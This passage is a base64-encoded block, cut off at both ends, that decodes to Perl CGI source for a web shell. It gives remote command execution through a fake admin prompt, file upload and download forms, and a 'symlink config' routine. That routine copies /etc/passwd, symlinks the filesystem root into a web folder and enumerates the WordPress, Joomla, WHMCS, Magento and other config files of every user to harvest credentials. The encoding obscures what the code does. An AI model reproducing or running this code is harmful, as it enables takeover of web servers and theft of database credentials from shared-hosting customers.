mludCAiPC9mb250PjwvYm9keT48L2h0bWw+IjsKfQoKc3ViIEdldENvb2tpZXMKewpAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwpmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQp7CigkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKJENvb2tpZXN7JGlkfSA9ICR2YWw7Cn0KfQoKc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewokUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKICAgIHByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij8iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewokUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCAiOwpwcmludCA8PEVORDsKPGNvZGU+PGNlbnRlcj48YnI+Cjxmb250IGNvbG9yPWxpbWU+PGI+PGk+PGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPC9mb3JtPgo8L2k+PC9iPjwvZm9udD48L2NlbnRlcj4KPC9jb2RlPgpFTkQKfQoKc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewokUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKcHJpbnQgPDxFTkQ7Cjxjb2RlPjxicj48Y2VudGVyPjxmb250IGNvbG9yPWxpbWU+PGI+PGk+PGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KT3B0aW9uczogPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiB2YWx1ZT0ib3ZlcndyaXRlIj4KT3ZlcndyaXRlIGlmIGl0IEV4aXN0czxicj48YnI+ClVwbG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT48L2k+PC9iPjwvZm9udD4KPC9jZW50ZXI+CjwvY29kZT4KRU5ECn0KCnN1YiBDb21tYW5kVGltZW91dAp7CmlmKCEkV2luTlQpCnsKYWxhcm0oMCk7CnByaW50IDw8RU5EOwo8L3htcD4KPGNvZGU+CkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS4KPGJyPktpbGxlZCBpdCEKPGNvZGU+CkVORAomUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKJlByaW50UGFnZUZvb3RlcjsKZXhpdDsKfQp9CnN1YiBFeGVjdXRlQ29tbWFuZAp7CiAgIGlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQKICAgIHsKICAgICAgICAjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlCiAgICAgICAgIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCiAgICAgICAKICAgICAgICAkT2xkRGlyID0gJEN1cnJlbnREaXI7CiAgICAgICAgJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwogICAgICAgIGNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKICAgICAgICAmUHJpbnRQYWdlSGVhZGVyKCJjIik7CiAgICAgICAgJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwogICAgICAgIHByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7CiAgICB9CiAgICBlbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKICAgIHsKICAgICAgICAmUHJpbnRQYWdlSGVhZGVyKCJjIik7CiAgICAgICAgJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CiAgICAgICAgcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwogICAgICAgICRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKICAgICAgICBpZighJFdpbk5UKQogICAgICAgIHsKICAgICAgICAgICAgJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKICAgICAgICAgICAgYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwogICAgICAgIH0KICAgICAgICBpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCiAgICAgICAgewogICAgICAgICAgICAkfD0xOwogICAgICAgICAgICAkQ29tbWFuZCAuPSAiIHwiOwogICAgICAgICAgICBvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKICAgICAgICAgICAgd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkXyA9fiBzLyhcbnxcclxuKSQvLzsKICAgICAgICAgICAgICAgIHByaW50ICIkX1xuIjsKICAgICAgICAgICAgfQogICAgICAgICAgICAkfD0wOwogICAgICAgIH0KICAgICAgICBlbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKICAgICAgICB7CiAgICAgICAgICAgIHByaW50IGAkQ29tbWFuZGA7CiAgICAgICAgfQogICAgICAgIGlmKCEkV2luTlQpCiAgICAgICAgewogICAgICAgICAgICBhbGFybSgwKTsKICAgICAgICB9CiAgICAgICAgcHJpbnQgIjwveG1wPiI7CiAgICB9CiAgICAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKICAgICZQcmludFBhZ2VGb290ZXI7Cn0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7CmxvY2FsKCRGaWxlVXJsKSA9IEBfOwppZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKewojIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCiRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwokSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwomUHJpbnRQYWdlSGVhZGVyKCJjIik7CnByaW50IDw8RU5EOwo8Y29kZT4KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+CklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4KPC9jb2RlPgpFTkQKJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CiZQcmludFBhZ2VGb290ZXI7Cn0KZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAp7CiZQcmludFBhZ2VIZWFkZXIoImYiKTsKcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCE8L2NvZGU+IjsKJlByaW50RmlsZURvd25sb2FkRm9ybTsKJlByaW50UGFnZUZvb3RlcjsKfQp9CnN1YiBTeW1Db25maWcKewp1c2UgRmlsZTo6Q29weTsgdXNlIHN0cmljdDsgdXNlIHdhcm5pbmdzOyB1c2UgTUlNRTo6QmFzZTY0OwpteSAkZmlsZW5hbWUgPSAncGFzc3dkLnR4dCc7CmlmICghLWUgJGZpbGVuYW1lKSB7IGNvcHkoIi9ldGMvcGFzc3dkIiwicGFzc3dkLnR4dCIpIDsKfQpta2RpciAic3ltbGlua19jb25maWciOwpzeW1saW5rKCIvIiwic3ltbGlua19jb25maWcvcm9vdCIpOwpteSAkaHRhY2Nlc3MgPSBkZWNvZGVfYmFzZTY0KCJUM0IwYVc5dWN5QkpibVJsZUdWeklFWnZiR3h2ZDFONWJVeHBibXR6RFFwRWFYSmxZM1J2Y25sSmJtUmxlQ0JqYjI0M1pYaDBMbWgwYlEwS1FXUmtWSGx3WlNCMFpYaDBMM0JzWVdsdUlDNXdhSEFnRFFwQlpHUklZVzVrYkdWeUlIUmxlSFF2Y0d4aGFXNGdMbkJvY0EwS1UyRjBhWE5tZVNCQmJua05Da2x1WkdWNFQzQjBhVzl1Y3lBclEyaGhjbk5sZEQxVlZFWXRPQ0FyUm1GdVkzbEpibVJsZUdsdVp5QXJTV2R1YjNKbFEyRnpaU0FyUm05c1pHVnljMFpwY25OMElDdFlTRlJOVENBclNGUk5URlJoWW14bElDdFRkWEJ3Y21WemMxSjFiR1Z6SUN0VGRYQndjbVZ6YzBSbGMyTnlhWEIwYVc5dUlDdE9ZVzFsVjJsa2RHZzlLaUFOQ2tsdVpHVjRTV2R1YjNKbElDb3VkSGgwTkRBMERRcFNaWGR5YVhSbFJXNW5hVzVsSUU5dURRcFNaWGR5YVhSbFEyOXVaQ0FsZTFKRlVWVkZVMVJmUmtsTVJVNUJUVVY5SUY0dUtuTjViV3hwYm10ZlkyOXVabWxuSUZ0T1ExME5DbEpsZDNKcGRHVlNkV3hsSUZ3dWRIaDBKQ0FsZTFKRlVWVkZVMVJmVlZKSmZUUXdOQ0JiVEN4U1BUTXdNaTVPUTEwPSIpOwpteSAkeHN5bTQwNCA9IGRlY29kZV9iYXNlNjQoIlQzQjBhVzl1Y3lCSmJtUmxlR1Z6SUVadmJHeHZkMU41YlV4cGJtdHpEUXBFYVhKbFkzUnZjbmxKYm1SbGVDQmpiMjQzWlhoMExtaDBiUTBLU0dWaFpHVnlUbUZ0WlNCd2NIRXVkSGgwRFFwVFlYUnBjMlo1SUVGdWVRMEtTVzVrWlhoUGNIUnBiMjV6SUVsbmJtOXlaVU5oYzJVZ1JtRnVZM2xKYm1SbGVHbHVaeUJHYjJ4a1pYSnpSbWx5YzNRZ1RtRnRaVmRwWkhSb1BTb2dSR1Z6WTNKcGNIUnBiMjVYYVdSMGFEMHFJRk4xY0hCeVpYTnpTRlJOVEZCeVpXRnRZbXhsRFFwSmJtUmxlRWxuYm05eVpTQXEiKTsKb3BlbihteSAkZmgxLCAnPicsICdzeW1saW5rX2NvbmZpZy8uaHRhY2Nlc3MnKTsgcHJpbnQgJGZoMSAiJGh0YWNjZXNzIjsgY2xvc2UgJGZoMTsgb3BlbihteSAkeHgsICc+JywgJ3N5bWxpbmtfY29uZmlnL25lbXUudHh0Jyk7IHByaW50ICR4eCAiJHhzeW00MDQiOyBjbG9zZSAkeHg7IG9wZW4obXkgJGZoLCAnPDplbmNvZGluZyhVVEYtOCknLCAkZmlsZW5hbWUpOyB3aGlsZSAobXkgJHJvdyA9IDwkZmg+KSB7IG15IEBtYXRjaGVzID0gJHJvdyA9fiAvKC4qPyk6eDovZzsgbXkgJHVzZXJueWEgPSAkMTsgbXkgQGFycmF5ID0gKCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvLmFjY2Vzc2hhc2gnLCB0eXBlID0+ICdXSE0tYWNjZXNzaGFzaCcgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsIHR5cGUgPT4gJ0xva29tZWRpYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywgdHlwZSA9PiAnQmFsaXRiYW5nJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY29uZmlnL3NldHRpbmdzLmluYy5waHAnLCB0eXBlID0+ICdQcmVzdGFTaG9wJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYXBwL2V0Yy9sb2NhbC54bWwnLCB0eXBlID0+ICdNYWdlbnRvJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsIHR5cGUgPT4gJ09wZW5DYXJ0JyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYXBwbGljYXRpb24vY29uZmlnL2RhdGFiYXNlLnBocCcsIHR5cGUgPT4gJ0VsbGlzbGFiJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dwL3Rlc3Qvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3BvcnRhbC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2l0ZS93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1dQL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3Rlc3Qvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2RlbW8vd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2hvbWUvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3YxL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC92Mi93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL25ldy93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmxvZ3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdeV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iZXRhL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvZGVtby9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3Rlc3QvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC92MS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3YyL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV0hNQ1Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd2htY3MxL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1dobWNzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobWNzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobWNzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1dITUMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV2htYy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93aG1jL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1dITS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XaG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd2htL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0hPU1Qvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvSG9zdC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ob3N0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NVUFBPUlRFUy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TdXBwb3J0ZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc3VwcG9ydGVzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2RvbWFpbnMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvZG9tYWluL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0hvc3Rpbmcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvSE9TVElORy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NBUlQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2FydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jYXJ0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL09SREVSL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL09yZGVyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL29yZGVyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NMSUVOVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NMSUVOVEFSRUEvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGly